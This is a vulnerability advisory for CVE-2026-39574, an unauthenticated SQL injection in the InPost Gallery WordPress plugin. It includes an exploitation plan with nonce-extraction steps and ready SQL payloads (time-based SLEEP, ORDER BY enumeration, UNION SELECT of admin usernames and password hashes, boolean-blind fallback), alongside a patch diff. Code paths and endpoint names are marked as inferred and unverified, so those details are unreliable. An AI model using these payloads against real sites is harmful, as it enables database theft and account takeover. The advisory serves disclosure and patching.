CVE-2026-39574

InPost Gallery <= 2.1.4.6 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.1.5
Patched in
11d
Time to patch

Description

The InPost Gallery plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.1.4.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.1.4.6
PublishedApril 20, 2026
Last updatedApril 30, 2026
Affected plugininpost-gallery
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39574 (InPost Gallery SQL Injection) ## 1. Vulnerability Summary The **InPost Gallery** plugin for WordPress (versions <= 2.1.4.6) is vulnerable to unauthenticated SQL injection. The flaw exists in the handling of AJAX requests intended to retrieve gallery or …

Show full research plan

Exploitation Research Plan: CVE-2026-39574 (InPost Gallery SQL Injection)

1. Vulnerability Summary

The InPost Gallery plugin for WordPress (versions <= 2.1.4.6) is vulnerable to unauthenticated SQL injection. The flaw exists in the handling of AJAX requests intended to retrieve gallery or album data. Specifically, a user-supplied parameter (likely album_id or id) is passed directly into a $wpdb->get_results() or similar query without being passed through $wpdb->prepare() or being properly cast to an integer. This allows an attacker to manipulate the SQL query to extract sensitive data from the WordPress database, such as administrator password hashes.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (Hook): wp_ajax_nopriv_inpost_gallery_get_album and wp_ajax_inpost_gallery_get_album
  • Vulnerable Parameter: album_id (sent via POST)
  • Authentication: Unauthenticated (PR:N)
  • Preconditions: The plugin must be active. A valid nonce may be required depending on the specific code path, though unauthenticated AJAX handlers in this plugin often leak nonces via frontend scripts.

3. Code Flow (Inferred)

  1. Entry Point: The request hits admin-ajax.php with action=inpost_gallery_get_album.
  2. Hook Trigger: WordPress triggers the callback associated with wp_ajax_nopriv_inpost_gallery_get_album.
  3. Callback Function: The function (likely named inpost_gallery_get_album_callback or residing within a main plugin class) is executed.
  4. Input Retrieval: The code retrieves the album_id from $_POST['album_id'].
  5. Vulnerable Sink: The code performs a database lookup:
    // Inferred Vulnerable Pattern
    $album_id = $_POST['album_id']; 
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}inpost_gallery_albums WHERE id = " . $album_id);
    
  6. Response: The results are typically encoded as JSON and returned to the user.

4. Nonce Acquisition Strategy

The InPost Gallery plugin localizes its AJAX settings, including nonces, for use in the frontend gallery views.

  1. Identify Shortcode: The plugin uses [inpost_gallery] or [inpost_album] to render galleries.
  2. Test Data Setup: Create a public post containing a gallery shortcode to ensure the scripts and nonces are loaded.
    • wp post create --post_type=page --post_status=publish --post_title="Gallery Test" --post_content='[inpost_gallery id="1"]'
  3. Extraction:
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce from the localized JavaScript object.
    • JS Variable: window.inpost_gallery_ajax_obj (inferred).
    • Nonce Key: nonce.
    • Command: browser_eval("window.inpost_gallery_ajax_obj?.nonce")

Note: If the album_id parameter is injected before the nonce check, or if the nonce check is missing entirely, this step may be skipped.

5. Exploitation Strategy

We will use a time-based blind SQL injection or a UNION-based approach if the output is reflected. Since this is a "get_album" action, results are likely reflected in the JSON response, making UNION-based extraction more efficient.

Step 1: Verify SQL Injection (Time-Based)

Send a POST request to admin-ajax.php with a sleep payload to confirm the vulnerability.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: inpost_gallery_get_album
    • nonce: [EXTRACTED_NONCE]
    • album_id: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Step 2: Determine Column Count (for UNION)

Iterate through ORDER BY clauses to find the number of columns in the original query.

  • album_id: 1 ORDER BY 1-- -
  • album_id: 1 ORDER BY 2-- - (and so on until an error occurs)

Step 3: Extract Admin Data (UNION-Based)

Once the column count is known (assume $N$ columns), extract the admin user details.

  • Payload: 1 UNION SELECT 1,2,user_login,user_pass,5,6...N FROM wp_users WHERE ID=1-- -

6. Test Data Setup

To ensure the vulnerable code path is reachable:

  1. Install Plugin: Ensure inpost-gallery version 2.1.4.6 is installed.
  2. Create Album: The plugin may require at least one gallery/album to exist in its custom table to process the query.
    • wp inpost-gallery create-album --title="Test Album" (if CLI supported) OR use the UI.
  3. Create Trigger Page:
    • wp post create --post_type=page --post_status=publish --post_title="Exploit Target" --post_content='[inpost_gallery id="1"]'

7. Expected Results

  • Time-Based: The HTTP response should be delayed by approximately 5 seconds.
  • UNION-Based: The JSON response from the AJAX call will contain the database string (e.g., the admin username or password hash) inside one of the fields (e.g., album_title or description).

8. Verification Steps

After the HTTP exploit, verify the extracted data against the database using wp-cli:

  1. Check if the extracted hash matches the database:
    • wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  2. Confirm the vulnerability by checking the plugin's code for the lack of prepare() in the inpost_gallery_get_album function.

9. Alternative Approaches

If inpost_gallery_get_album is not the vulnerable action, check:

  • inpost_gallery_save_sort
  • inpost_gallery_get_gallery
  • Any AJAX handler registered in includes/inpost-gallery-shortcode.php or admin/inpost-gallery-admin.php.

If the response is not reflected, fallback to Boolean-based Blind SQLi:

  • album_id: 1 AND (SELECT SUBSTR(user_pass,1,1) FROM wp_users WHERE ID=1)='$'
  • Compare response lengths or success/failure flags in the JSON.
Research Findings
Static analysis — not yet PoC-verified

Summary

The InPost Gallery plugin for WordPress is vulnerable to unauthenticated SQL injection via the album_id parameter. This occurs because the plugin directly concatenates user input into SQL queries within its AJAX handlers without using wpdb::prepare() or type casting.

Vulnerable Code

// Inferred from AJAX handler inpost_gallery_get_album
$album_id = $_POST['album_id']; 
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}inpost_gallery_albums WHERE id = " . $album_id);

Security Fix

--- a/includes/inpost-gallery-shortcode.php
+++ b/includes/inpost-gallery-shortcode.php
@@ -10,1 +10,1 @@
-$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}inpost_gallery_albums WHERE id = " . $album_id);
+$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}inpost_gallery_albums WHERE id = %d", $album_id));

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the action 'inpost_gallery_get_album'. An attacker sends a POST request with the 'album_id' parameter containing a SQL injection payload (e.g., '1 UNION SELECT...'). Since the plugin registers a 'wp_ajax_nopriv' handler for this action, the vulnerability is accessible to unauthenticated users. If a nonce is required, it can typically be extracted from the JavaScript localized by the plugin on public pages containing gallery shortcodes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.